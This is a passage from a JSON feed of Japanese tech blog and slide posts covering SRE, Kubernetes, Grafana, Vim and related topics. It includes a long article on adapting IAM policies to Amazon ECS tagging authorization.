Nakamura","authorId":"kaita-nakamura"},{"title":"【2024年夏期インターン】SREの技術について学びたいインターン募集!","link":"https://sreake.com/blog/summer_intern/","contentSnippet":"リモートで開催する2週間程度で、技術に関する研究を行うインターンシッププログラムとなっています!当社SREエンジニアがメンターとしてサポートし、知識に不安をお持ちの方のために事前学習の期間を設けておりますので、インフラ、 […]The post 【2024年夏期インターン】SREの技術について学びたいインターン募集! first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-05-01T03:27:01.000Z","dateMiliSeconds":1714534021000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、 Google Cloud Infrastructure Modernization 支援パートナープログラムに賛同","link":"https://sreake.com/blog/gcim/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、 クラウドへのインフラストラクチャ移行を支援する Google Cloud Infrastructure Moderniza […]The post スリーシェイク、 Google Cloud Infrastructure Modernization 支援パートナープログラムに賛同 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-04-30T07:15:12.000Z","dateMiliSeconds":1714461312000,"authorName":"Sreake","authorId":"Sreake"},{"title":"[Kubernetes 1.30] Dynamic Resource Allocation の再構築","link":"https://zenn.dev/toversus/articles/5bbd68e507f28d","contentSnippet":"!Kubernetes 1.30 時点でアルファ機能のため、実装が大きく変わる可能性があります。[Kubernetes 1.27] Dynamic Resource Allocation のいまで紹介した Dynamic Resource Allocation (DRA) の内部的な仕組みに Kubernetes 1.30 で大きく変更が入ることになりました。内部的な仕組みの変更なので、ユーザー視点ではこれまでと利用方法は変わりません。ResourceClass に追加されたフィールドを有効にしないと新しい仕組みが使えないため、クラスタ管理者は対応が必要になります。世界的に AI...","isoDate":"2024-04-30T06:43:41.000Z","dateMiliSeconds":1714459421000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Wireguard Exporter と Grafana Alloy で VPN 通信量を可視化","link":"https://blog.1q77.com/2024/04/wireguard-exporter/","contentSnippet":"先日、家のラズパイに Grafana Alloy をセットアップしてメトリクス可視化の環境はできているので WireGuard での VPN 通信のメトリクスを可視化してみようかなと試してみまし","isoDate":"2024-04-28T12:57:31.000Z","dateMiliSeconds":1714309051000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Istio Ambient Mesh の inpod redirection 試してみた","link":"https://sreake.com/blog/istio-ambient-mesh-inpod-redirection/","contentSnippet":"先日Istio 1.21.0がリリースされ ambient meshにinpod redirectionが実装されました。(ambient meshはまだalphaなので本番環境では非推奨です) inpod redire […]The post Istio Ambient Mesh の inpod redirection 試してみた first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-04-23T06:05:05.000Z","dateMiliSeconds":1713852305000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Dev Containerを使ってみよう","link":"https://zenn.dev/bells17/articles/devcontainer-2024","contentSnippet":"Dev Containerを使ってみようDev Containerを使う上で知っておくと良さげな情報のまとめ記事です前にRemote SSHでDev Containerの環境を構築する記事を書いたので、今回はDev Container全般の情報をまとめてみましたhttps://zenn.dev/bells17/articles/remote-ssh-devcontainer tl;drDev Containerを使うと開発環境をコンテナで構築できるよ(ランタイムとかツール類含めて!)docker composeだとアプリケーションを動作させる環境は作れるけどDev C...","isoDate":"2024-04-22T18:05:48.000Z","dateMiliSeconds":1713809148000,"authorName":"bells17","authorId":"bells17"},{"title":"「セキュリティ・キャンプ全国大会2024」にスリーシェイクのエンジニアが講師として登壇","link":"https://sreake.com/blog/security/","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)に在籍するエンジニアが、独立行政法人情報処理推進機構と一般社団法人セキュリティ・キャンプ協議会が共催する「セキュリティ・キャンプ […]The post 「セキュリティ・キャンプ全国大会2024」にスリーシェイクのエンジニアが講師として登壇 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-04-22T01:07:46.000Z","dateMiliSeconds":1713748066000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud Next ‘24 参加レポート","link":"https://sreake.com/blog/google-cloud-next-24-report/","contentSnippet":"参加レポート タイトルの通りラスベガスにて4/9から11まで開催されていた Google Cloud Next’24 に参加してきました。 今回は Google Cloud Partner Top Engineer 20 […]The post Google Cloud Next ‘24 参加レポート first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-04-17T23:00:00.000Z","dateMiliSeconds":1713394800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"[EKS] Amazon Linux 2023 への移行","link":"https://zenn.dev/toversus/articles/a4bbd2047bbba1","contentSnippet":"2024/2/29 に Amazon Linux 2023 が EKS で正式サポートされました。全てのリージョンの Karpenter Node、マネージドノードグループ、セルフマネージドノードグループで利用可能です。現在 EKS でサポート対象の 1.25 以降に加えて、延長サポートに入っている EKS 1.23 / 1.24 でも利用できます。Amazon Linux 2023 のサポートに関しては Amazon EKS-Optimized Amazon Linux 2023 AMIs Now Available のブログに詳細がまとまっています。 セキュリティ機能の強化Am...","isoDate":"2024-04-17T00:22:38.000Z","dateMiliSeconds":1713313358000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Grafana Alloy でメトリクス収集","link":"https://blog.1q77.com/2024/04/grafana-alloy/","contentSnippet":"Raspberry Pi を新しくしてからメトリクスの可視化を行っていなかったので Grafana Cloud で見れるようにセットアップしようと Grafana のサイトを見ていたら Alloy というものの存在を","isoDate":"2024-04-15T15:16:09.000Z","dateMiliSeconds":1713194169000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"[Kubecon EU 2024: Cloud Native AI Day] Pods Everywhere! InterLink: A Virtual Kubelet Abstraction Streamlining HPC Resource Exploitation の紹介","link":"https://sreake.com/blog/kubecon-eu-2024-pods-everywhere-interlink-a-virtual-kubelet-abstraction-streamlining-hpc-resource-exploitation/","contentSnippet":"はじめに INFNというイタリア国立核物理学研究所のメンバーであるディエゴさんが、「パブリッククラウド、オンプレミスの異種シミュレーション環境において、インターフェースの統一を目的としたプロジェクト」の紹介をするセッショ […]The post [Kubecon EU 2024: Cloud Native AI Day] Pods Everywhere! InterLink: A Virtual Kubelet Abstraction Streamlining HPC Resource Exploitation の紹介 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-04-08T03:46:21.000Z","dateMiliSeconds":1712547981000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Shinyをバックグラウンドで起動する","link":"https://blog.atusy.net/2024/04/01/shiny-as-background-process/","contentSnippet":"先週、felp v0.4.0をリリースしました。このパッケージはShinyを使っていて、felp::fuzzyhelp()を実行すると、以下のように、ヘルプをあいまい検索できます。1からも起動できます。","isoDate":"2024-04-01T00:00:00.000Z","dateMiliSeconds":1711929600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"PGUnconf #46 でPostgreSQL の開発するときにまず何からすればいいかを聞いてきた","link":"https://nnaka2992.hatenablog.com/entry/zatu/20240323_pgunconf.md","contentSnippet":"PGUnconf #46 でPostgreSQL の開発するときにまず何からすればいいかを聞いてきた概要2024年3月23日に第46回 PostgreSQLアンカンファレンス@東京が開催されました。PostgreSQLアンカンファレンスは日本PostgreSQLユーザー会が主催するイベントでPostgreSQLユーザーはもちろん、PostgreSQLのコントリンビューターやコミッターも参加しているイベントです。その中でPostgreSQL メジャーコントリビューターであり、コミッターでもある@masahiko_sawadaさんが、PGConn 2024でMAKING POSTGRESQL HACKING MORE INCLUSIVEというセッションでPostgreSQLコミュニティーがどうすればより初心者にオープンになれるか? という内容でディスカッションするそうです。そこに向けてアイデアはあるか? 困ってることはないか? という相談? をされていました。経験豊富な方々は実践的な案を出していましたが、私はPostgreSQLにコードコントリビュートしたいけど何からすればいいのか分らないという状態だったのでこの機会に相談してみました。自分のレベル感Cはすこし読める。すこし書けるPostgreSQLのソースコードはsimple_query_execの関数をひととおり読んで、なんとなくどこで何しているか分かるPostgreSQLのメーリングリストはとりあえず入った何が分からなかったのか?そもそもPostgreSQLはメーリングリストとパッチの文化なのでGitHub/Labなどになれた身からするとよく分からないです。またGitHubで管理されているOSSでは良くあるgood first issueのようなものも存在しないため、新規参入者には難しいと感じていました。なにからすればいいのか?PGUnconfでは以下のようなアドバイスを受けました。チュートリアルをなぞってドキュメント通りに動かないものを修正する初心者向けコンテンツへの追記は初心者にしか出来ないので、是非おねがいしたいとのことでした既存のパッチで放置されているもの(Headでビルドできないようなもの)をアップデートするメーリングリストのディスカッションを眺めてネタを探す新規機能を試してバグをさがし、修正するCommitFestに参加するまとめ1のネタを探してみつつ、PostgreSQL17のリリースが近いので4に取りくんでみようと思います。","isoDate":"2024-03-31T14:30:29.000Z","dateMiliSeconds":1711895429000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"BigQuery の Object テーブルと Gemini-pro-vision リモートモデルを使って pdf を要約してみる","link":"https://zenn.dev/satohjohn/articles/0cc45efca800e3","contentSnippet":"概要pdf などの非構造化データを GCS に配置した際に BQ で分析するってどうすんねんというところをやってみる流れとしては以下を実施するpdf などを gcs に配置するBigQuery Connection の作成する必要な権限付与を行うBQ で Object テーブルを作成するBQ でリモートモデルを作成するObject テーブルを使って pdf の要約をする 必要なことBigQuery Connection API の有効化 手順 pdf などを GCS に配置するここは何も考えないで GCS に pdf を配置する例えば、今回...","isoDate":"2024-03-30T17:44:21.000Z","dateMiliSeconds":1711820661000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"生成AIアプリケーションにおけるRAGとデータベースの役割","link":"https://speakerdeck.com/shukob/sheng-cheng-aiahurikesiyonniokeruragtotetahesunoyi-ge","contentSnippet":"https://3-shake.connpass.com/event/311868/\\r3-SHAKE SRETTにて、生成AIのデータベースやストレージに関連した部分を発表。","isoDate":"2024-03-29T04:00:00.000Z","dateMiliSeconds":1711684800000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"オシャレな図を書くために意識していること","link":"https://speakerdeck.com/kojake_300/osiyarenatu-woshu-kutameniyi-shi-siteirukoto","contentSnippet":"","isoDate":"2024-03-29T04:00:00.000Z","dateMiliSeconds":1711684800000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"2024-03-29 SRETT9 Cloud SQLの可用性について","link":"https://speakerdeck.com/masasuzu/2024-03-29-srett9-cloudsqlnoke-yong-xing","contentSnippet":"","isoDate":"2024-03-29T04:00:00.000Z","dateMiliSeconds":1711684800000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"社内ChatBot (h1-slack-bot)にClaude\xa03を追加した話(+α)","link":"https://sreake.com/blog/chatgpt-slack-integration-claude-3/","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 この記事では、Anthro […]The post 社内ChatBot (h1-slack-bot)にClaude\xa03を追加した話(+α) first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-03-29T02:50:00.000Z","dateMiliSeconds":1711680600000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ビットコイン・ブロックチェーン入門","link":"https://speakerdeck.com/shukob/hitutokoinhurotukutienru-men","contentSnippet":"初学者の方向けにビットコイン・ブロックチェーン技術の全体像をお話ししました。","isoDate":"2024-03-22T04:00:00.000Z","dateMiliSeconds":1711080000000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"新人SREが0から始めるGKE上でのArgoCDによるWordPressデプロイ","link":"https://sreake.com/blog/deploy-wordpress-with-argocd-on-gke/","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の高島です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。私は、情報系の大学院生で、普段は数値解 […]The post 新人SREが0から始めるGKE上でのArgoCDによるWordPressデプロイ first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-03-21T23:34:40.000Z","dateMiliSeconds":1711064080000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ECSのタグ付け認可とアカウント単位のオプトアウトの廃止","link":"https://blog.masasuzu.net/entry/2024/03/20/121151","contentSnippet":"ECSのタグ付け認可とはアカウント単位のオプトアウトの廃止確認影響がある例対応まとめ関連リソースECSのタグ付け認可とはECS関連のリソース作成時にリソースタグを付けることができます。その際 ecs:tagResource の権限が必要となります。なお、リソースタグを設定しないECSリソース作成の際は権限不要です。この権限の有無のチェックをタグ付け認可と言います。具体的にECSリソースの作成のアクションは以下の通りです。CreateCapacityProviderCreateClusterCreateServiceCreateTaskSetRegisterContainerInstanceRegisterTaskDefinitionRunTaskStartTaskタグ付け認可の仕組みは2023年4月18日に導入されました。しかしながら従来からECSリソースを作成する際にタグ付けしていたAWSアカウントに関しては影響があるため、アカウントレベルでタグ付け認可の機能を無効(オプトアウト)することができました。つまりアカウントレベルで無効にしていれば ecs:tagResource の権限がなくてもタグ付けをすることが可能でした。しかしながらアカウント単位のオプトアウト設定は2024年3月9日に廃止されます。アカウント単位のオプトアウトの廃止タグ付け認可におけるタイムラインは以下のとおりです2023年4月18日 タグ付け認可の導入とアカウント単位での有効化設定の導入2024年2月9日- 2月28日 新規アカウントおよび影響を受けないアカウントに関してデフォルトでタグ付け認可の有効化が行われる2024年2月29日 アカウント単位で有効にしている場合、無効に変更できなくなる2024年3月29日 すべてのアカウントでタグ付け認可が有効になり、アカウント単位での設定が不可能になる現時点(2024/03/20)であまり時間がありません。現在タグ付け認可に影響あるAWSアカウントに関しては、Personal Health Dashboadに以下のような通知が来ているはずです。▼ElasticContainerService security notification (クリックで展開)▼English follows Japanese | 英語のメッセージは日本語の後にございますお客様のアカウントにて過去 1 年以内に ecs:TagResource の許可無しに ECS リソースの作成時にタグを付けていることが判明したため、ご連絡差し上げます。Amazon ECS は、2023 年 4 月 18 日にリソース作成のタグ付け認証を導入しました [1]。新規および既存のお客様は、ECS Console または API の ECS アカウント設定ページを使用して、この新機能の使用をオプトインする必要があります。このセキュリティ制御により、ECS リソースの作成時にタグをつけることをユーザーに拒否または許可できます。2024 年 3 月 29 日以降もお客様の IAM プリンシパルが新しく作成された ECS リソースに引き続きタグを適用できるように、IAM ポリシーを更新して ecs:TagResource アクションを明示的に許可することを強くお勧めします。2024 年 2 月 9 日以降、AWS コンソール の ECS アカウント設定ページにて tagResourceAuthorization アカウント設定を明示的に off に設定していないすべてのお客様のアカウントは、自動的にこの設定にオプトインされました。お客様の AWS アカウントは一時的に許可リストに載せているため、2024 年 3 月 29 日まではタグリソース認証の off の動作が継続されます。2024 年 3 月 8 日、現在オプトインしているアカウントが tagResourceAuthorization をオプトアウトする機能を削除し、タグをサポートするすべての ECS リソースの作成に際して ecs:TagResource IAM 権限の使用を強制するようにしました。最終的に 2024 年 3 月 29 日をもってお客様のアカウントを許可リストから削除し、tagResourceAuthorization を有効化します。呼び出し元のプリンシパルの IAM ポリシーに ecs:TagResource アクションを含めずにタグをつけて ECS リソースを作成しようとすると、「AccessDenied」メッセージが表示されます。この変更は CreateCapacityProvider, CreateCluster, CreateService, CreateTaskSet, RegisterContainerInstance, RunTask, StartTask, および RegisterTaskDefinition の API に影響を及ぼします。ecs:TagResource を使用しない拒否レスポンスの例以下は、ecs:CreateCluster アクションを付与している IAM ポリシーの一部です。ecs:TagResource アクションは含まれていません。tagResourceAuthorization アカウント設定がオンの場合、リクエスト例では以下の AccessDenied 例外が返されます。# IAM ポリシー“Statement”: [{“Sid”: “AllowCreateCluster”,“Effect”: “Allow”,“Action”: [“ecs:CreateCluster”],“Resource”: “*”}]# クラスター作成のリクエストaws ecs create-cluster --cluster-name MyCluster --tags key=key1,value=value1# タグ付けの拒否されたレスポンスAn error occurred (AccessDeniedException) when calling the CreateCluster operation:User: is not authorized to perform: ecs:TagResource on resource: cluster/MyCluster because no identity-based policy allows the ecs:TagResource action必要なアクション:IAM プリンシパルが 2024 年 3 月 29 日以降も新しく作成された ECS リソースに引き続きタグを適用できるように、IAM ポリシーに次のステートメントを追加することを強くお勧めします。すべての ECS リソースの作成時にタグ付けを許可以下の説明に従って ecs:TagResource アクションを追加すると、ECS リソースの作成中にタグ付けが可能になります [2]。“Statement”: [{“Sid”: “AllowTagging”,“Effect”: “Allow”,“Action”: [“ecs:TagResource”],“Resource”: “*”}]単一の ECS リソースタイプ (ECS クラスタ) の作成時にタグ付けを許可条件ステートメント ecs:CreateAction を使用すると、タグ付けを特定の ECS API に制限できます。以下の例では、ECS CreateCluster API でのみタグ付けへのアクセスを許可します。タグ付きの ECS RunTask API へのリクエストは、拒否判定になります [2]。“Statement”: [{“Sid”: “AllowClusterTagging”,“Effect”: “Allow”,“Action”: [“ecs:TagResource”],“Resource”: “*”,“Condition”: {“StringEquals”: {“ecs:CreateAction” : “CreateCluster”}}}]タイムライン:2024 年 2 月 9 日(完了)- タグ付け認証はデフォルトで on になっています。これには、ホワイトリストに登録されているアカウントは含まれません。tagResourceAuthorization アカウント設定の on/off を切り替えることも可能であり、ポリシーへの準拠をテストいただけます。2024 年 3 月 8 日 - タグ付け認証を on にすると、off にすることはできなくなります。この日まではアカウント設定を切り替えることができますので、その間に IAM ポリシーをテストすることをお勧めします。2024 年 3 月 29 日 - すべての AWS アカウントでタグ付け認証が有効になります。アカウントレベルの設定は使用されなくなり、AWS コンソールの ECS アカウント設定ページから削除されます。ご質問やご不明点等ございましたら、AWS サポート [3] までお問い合わせください。[1] https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-account-settings.html#tag-resources-setting[2] https://docs.aws.amazon.com/AmazonECS/latest/developerguide/supported-iam-actions-tagging.html[3] https://aws.amazon.com/support---We are contacting you because we identified that your account has tagged ECS resources upon creation, within the past year, without the ecs:TagResource permission. Amazon ECS introduced tagging authorization for resource creation on April 18, 2023 [1]. New and existing customers must opt-in to use this new feature by using the ECS Account Settings page in the ECS Console or API. This security control allows users to deny or allow tagging ECS resources when they are created. We strongly recommend you update your IAM policies to explicitly allow the ecs:TagResource action so that your IAM principals continue applying tags to newly created ECS resources on or after March 29, 2024.From February 9, 2024, all customer accounts which have not explicitly set the tagResourceAuthorization account setting to “off” in the ECS Account Settings page in the AWS Console were automatically opted into the setting. We have temporarily allow-listed your AWS account so you will continue to have the “off” behavior for tagResourceAuthorization until March 29, 2024.On March 8, 2024, we removed the ability for currently opted-in accounts to opt-out of tagging authorization and enforced the creation of all ECS resources that support tags to use the ecs:TagResource IAM permission.Finally on March 29, 2024, we will remove your account from the allow-list and activate tagResourceAuthorization. You will experience an \\"AccessDenied\\" message if you attempt to create tagged ECS resources without including the ecs:TagResource action in the IAM policy of the calling principal. This change will affect the following APIs: CreateCapacityProvider, CreateCluster, CreateService, CreateTaskSet, RegisterContainerInstance, RunTask, StartTask, and RegisterTaskDefinition.Example Deny Response without ecs:TagResourceThe following is part of an IAM policy that is granting the ecs:CreateCluster Action. It does not include the ecs:TagResource Action. When tagResourceAuthorization Account setting is on, the example request would return the AccessDeniedException below.# IAM Policy“Statement”: [{“Sid”: “AllowCreateCluster”,“Effect”: “Allow”,“Action”: [“ecs:CreateCluster”],“Resource”: “*”}]# Create Cluster Requestaws ecs create-cluster --cluster-name MyCluster --tags key=key1,value=value1# Tagging Denied ResponseAn error occurred (AccessDeniedException) when calling the CreateCluster operation:User: is not authorized to perform: ecs:TagResource on resource: cluster/MyCluster because no identity-based policy allows the ecs:TagResource actionRequired Action:To ensure your IAM principals continue applying tags to newly created ECS resources on or after March 29, 2024, we strongly recommend adding the following statement(s) to your IAM policies:Allow Tagging during creation for all ECS ResourcesAdding the ecs:TagResource Action as described below would Allow tagging during ECS resource creation [2].“Statement”: [{“Sid”: “AllowTagging”,“Effect”: “Allow”,“Action”: [“ecs:TagResource”],“Resource”: “*”}]Allow Tagging during creation for single ECS Resource Type (ECS Cluster)Using the Conditional statement ecs:CreateAction allow you to limit the tagging to a specific ECS API. The example below grants access to tagging only on the ECS create-cluster API. A request to the ECS API run-task with tags would result in a Deny decision [2].“Statement”: [{“Sid”: “AllowClusterTagging”,“Effect”: “Allow”,“Action”: [“ecs:TagResource”],“Resource”: “*”,“Condition”: {“StringEquals”: {“ecs:CreateAction” : “CreateCluster”}}}]Timeline:February 9, 2024 (Completed) - Tagging Authorization is “on” by default. This excludes your account which is allowlisted. The tagResourceAuthorization account setting can be turned on/off to help test your policy compliance.March 8, 2024 - Tagging Authorization can no longer be turned “off” once it is turned “on”. It is recommended that you test your IAM policies before this date while you are able to toggle the account setting.March 29, 2024 - Tagging Authorization will be turned on for all AWS accounts. The account level setting will no longer be used and will be removed from the ECS Account Settings page in the AWS Console.If you have any questions, please contact AWS Support [3].[1] https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-account-settings.html#tag-resources-setting[2] https://docs.aws.amazon.com/AmazonECS/latest/developerguide/supported-iam-actions-tagging.html[3] https://aws.amazon.com/support通知が来ているアカウントは29日までに対応する必要があります。確認aws ecs list-account-settings --effective-settings --name tagResourceAuthorization を実行すると以下のような表示になると思います。ここがonであれば、すでにアカウント単位で有効になってるので影響がありません。(ただし、タグ付きのリソースを新規作成する際には権限が足りないとエラーになる可能性はあります)ここがoffになっている場合、タグ付け認可が無効になってるので3月29日以降影響を受ける可能性があります。% aws ecs list-account-settings --effective-settings --name tagResourceAuthorization{ \\"settings\\": [ { \\"name\\": \\"tagResourceAuthorization\\", \\"value\\": \\"on\\", \\"principalArn\\": \\"arn:aws:iam::xxxxxxxxxxxx:root\\" } ]}影響がある例ユースケースにもよりますが、タグ付け認可に関連する操作は以下のようなものが考えられるかと思いますインフラ担当者によるECSリソース構築開発担当者(またはCI/CD)によるECSサービスのデプロイ前者に関しては、PowerUser相当の強い権限を付与されていることが多くここが問題になることはほとんどど無いかとは思います。後者の特にCI/CDによるデプロイに問題となることがありえます。一般的に非人間ユーザで目的が明確であれば、最小権限の原則に則り、 ecs:TagResource が付与されていない可能性があります。トライアンドエラーで権限を付与した場合、過去にうまく動いたためそのままの権限で使い続けている可能性もあります。その場合影響がある可能性あります。デプロイ時のタスク定義登録の際、タスク定義内に従来なかったtagsの記述を新規追加した際にResgisterTaskDefinitionでエラーになるという事例を私は経験しました。タスク定義にtagsがないときはタグ付け認可は実行されないのでそのまま成功していたため、ecs:TagResource が必要なことに気づいていませんでした。エラーとしては以下のような記述になるので、タグ付け認可の機能の存在を知っていて冷静に読み解けば、ecs:TagResource が足りていないことに気づけると思います。An error occurred (AccessDeniedException) when calling the RegisterTaskDefinition operation: User: arn:aws:sts::xxxx:assumed-role/deploy-github-actions/GitHubActions is not authorized to perform: ecs:TagResource on resource: arn:aws:ecs:ap-northeast-1:xxxx:task-definition/ecs-service because no identity-based policy allows the ecs:TagResource action対応まずECSサービスを利用しているIAM RoleとIAM Policyを洗い出します。その上でそれらが以下のアクションを許可している場合、ecs:TagResource を追加してあげます。CreateCapacityProviderCreateClusterCreateServiceCreateTaskSetRegisterContainerInstanceRegisterTaskDefinitionRunTaskStartTask私の場合は、ECSサービスデプロイ用のポリシーに以下のStatementを追加しました。それぞれ適切な記述を足していただけたらと思います。この場合タスク定義を登録する際にタグ付け認可を通すような許可を追加しています。 { \\"Action\\": \\"ecs:TagResource\\", \\"Condition\\": { \\"StringEquals\\": { \\"ecs:CreateAction\\": \\"RegisterTaskDefinition\\" } }, \\"Effect\\": \\"Allow\\", \\"Resource\\": \\"arn:aws:ecs:ap-northeast-1:xxxxxx:task-definition/yyyyyyyyyyyyyyy:*\\", \\"Sid\\": \\"RegisterTaskDefinitionWithTag\\" },まとめタグ付け認可について説明しました。タグ付け認可は2024年3月29日に強制的に全アカウントで有効になります。時間が少ないですが、影響受ける可能性があるかどうかチェックしてハマらないようにしましょう。また、これまでタグ付けしてなかったリソースにタグ付けする際にタグ付け認可に引っかかる可能性があります。デプロイやリソース作成の際にnot authorized to perform: ecs:TagResource と言われたらこの記事を思い出していただけたらと思います。それでは良いECSライフを!関連リソースアカウント設定による Amazon ECS 機能へのアクセス - Amazon Elastic Container Service タグ付け認可リソース作成時にタグ付けするための許可を付与する - Amazon Elastic Container Service","isoDate":"2024-03-20T03:11:51.000Z","dateMiliSeconds":1710904311000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Skaffoldのスゴさを語る!","link":"https://zenn.dev/kojake_300/articles/11945f2047b22b","contentSnippet":"この記事は、2024/3/15に登壇したJagu\'e\'r クラウドネイティブ分科会 俺の考える最強のCI/CDのリマスターになります。 k8sアプリケーション開発の悩み突然ですが皆さん、k8sでアプリを動かす時にこんな悩み、イライラはありませんか?k8sで検証する時には必ず通る道だと思います。効率よく検証するにはどうしたものか、、Skaffoldはそんな悩みを解決してくれます\uD83D\uDE04 Skaffoldとは? 概要Skaffold[1]は、コンテナベース及びKubernetesアプリケーションの継続的開発(Continuous Development = CD)を容易...","isoDate":"2024-03-18T11:24:43.000Z","dateMiliSeconds":1710761083000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"Skaffoldを用いたGKEアプリケーションの CD(Continuous Development)","link":"https://speakerdeck.com/kojake_300/skaffoldwoyong-itagkeapurikesiyonno-cd-continuous-development","contentSnippet":"","isoDate":"2024-03-17T04:00:00.000Z","dateMiliSeconds":1710648000000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"gin.vimで捗るgitのログ改竄 (instant fixup)","link":"https://blog.atusy.net/2024/03/15/instant-fixup-with-gin-vim/","contentSnippet":"Vim 駅伝の2024/3/15の記事です。Gitで整然とコミットを詰むのはそうそうたやすいものではありません。あのコミットでバグを仕込んでしまった、コミットメッセージを間違えていた、そんなミスはよくあることです。かと言って、整然とコミットするためにコミットを後回しにしては本末転倒です。うかつな操作で作業内容を失うかもしれませんし、少し前の作業内容に戻りたくなるかもしれません。また差分が大きくなるほど適切な粒度でのコミットが億劫になります。","isoDate":"2024-03-15T00:00:00.000Z","dateMiliSeconds":1710460800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Tagpr で tag trigger の workflow が実行されなくてハマった話","link":"https://blog.1q77.com/2024/03/tagpr/","contentSnippet":"最近 tagpr という便利ツールの存在を知って試していたのですが、使い方が悪くてハマったのでメモ。 tagpr とは 作者さまの記事を参照ください。 リリース用のpu","isoDate":"2024-03-15T00:00:00.000Z","dateMiliSeconds":1710460800000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Helm chart を GitHub Container Registry に host する","link":"https://blog.1q77.com/2024/03/helm-push-to-ghcr/","contentSnippet":"背景 最近は書いたアプリを Kubernetes に deploy することも多い。 その際に helm で簡単に deploy できるようになっていると便利ということで Helm chart を Git に入れておいても良いのだけ","isoDate":"2024-03-14T15:13:39.000Z","dateMiliSeconds":1710429219000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"書を捨てよ、現場へ出よう","link":"https://speakerdeck.com/nwiizo/shu-woshe-teyo-xian-chang-hechu-you","contentSnippet":"書を捨てよ、現場へ出よう このSRE本がすごい!2024年 LT版というタイトルで登壇してきました。\\r\\rSREたちの廊下〜あなたの現場での悩み、あの本にヒントがあるかも〜\\rhttps://findy.connpass.com/event/311323/\\r\\r元ブログはこちら\\r\\rこのSRE本がすごい!2024年版\\rhttps://syu-m-5151.hatenablog.com/entry/2024/01/26/165255\\r\\r登壇ブログはこちら\\r\\r『読書とは、能力、知識ではなく 問いを獲得するための行為』みたいな内容で登壇しました。\\rhttps://syu-m-5151.hatenablog.com/entry/2024/03/13/164951","isoDate":"2024-03-12T04:00:00.000Z","dateMiliSeconds":1710216000000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"gyでVimからクリップボードにヤンクする","link":"https://blog.atusy.net/2024/03/11/vim-gy-as-gui-yank/","contentSnippet":"Vim 駅伝の2024/3/11の記事です。Vim/Neovimで文字列をクリップボードへヤンクする主な方法は大きく二通りあります。都度指定\\"*yや\\"+yといった具合にヤンクする時にクリップボードを使うよう、明示的にレジスタを指定する自動同期set clipboard+=unnamedplus(またはunnamed)しておき、レジスタを指定せずにヤンクした内容を自動的にクリップボードに同期する詳しくは以下の記事をご参照ください。","isoDate":"2024-03-11T00:00:00.000Z","dateMiliSeconds":1710115200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"生成AI入門","link":"https://speakerdeck.com/shukob/sheng-cheng-airu-men","contentSnippet":"今話題の生成AIについて簡単に技術概要をお話ししたのち、LangChain、プロンプトエンジニアリング、RAG(Retrieval Augmented Generation)、Embedding、グラウンディングなどを実装の手法などを紹介しました。","isoDate":"2024-03-02T05:00:00.000Z","dateMiliSeconds":1709355600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"ftExtra v0.6.2をリリースしました","link":"https://blog.atusy.net/2024/03/01/ftextra-v0-6-2/","contentSnippet":"ftExtra v0.6.2をリリースしました。flextableパッケージを使って表組みする時に、セル内のマークダウンを処理できる ftExtra::colformat_md() がウリです。data.frame( x = c(\\"**bold**\\", \\"*italic*\\"), y = c(\\"^superscript^\\", \\"~subscript~\\"), z = c(\\"***~ft~^Extra^** is*\\", \\"*Cool*\\"), stringsAsFactors = FALSE) |> flextable::flextable() |> ftExtra::colformat_md().cl-9f195392{}.cl-9f13596a{font-family:\'DejaVu Sans\';font-size:11pt;font-weight:normal;font-style:normal;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;}.cl-9f135974{font-family:\'DejaVu Sans\';font-size:11pt;font-weight:bold;font-style:normal;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;}.cl-9f13597e{font-family:\'DejaVu Sans\';font-size:6.6pt;font-weight:normal;font-style:normal;text-decoration:none;color:rgba(0, 0, 0, 1.00);background-color:transparent;position: relative;bottom:3.3pt;}.cl-9f13597f{font-family:\'DejaVu 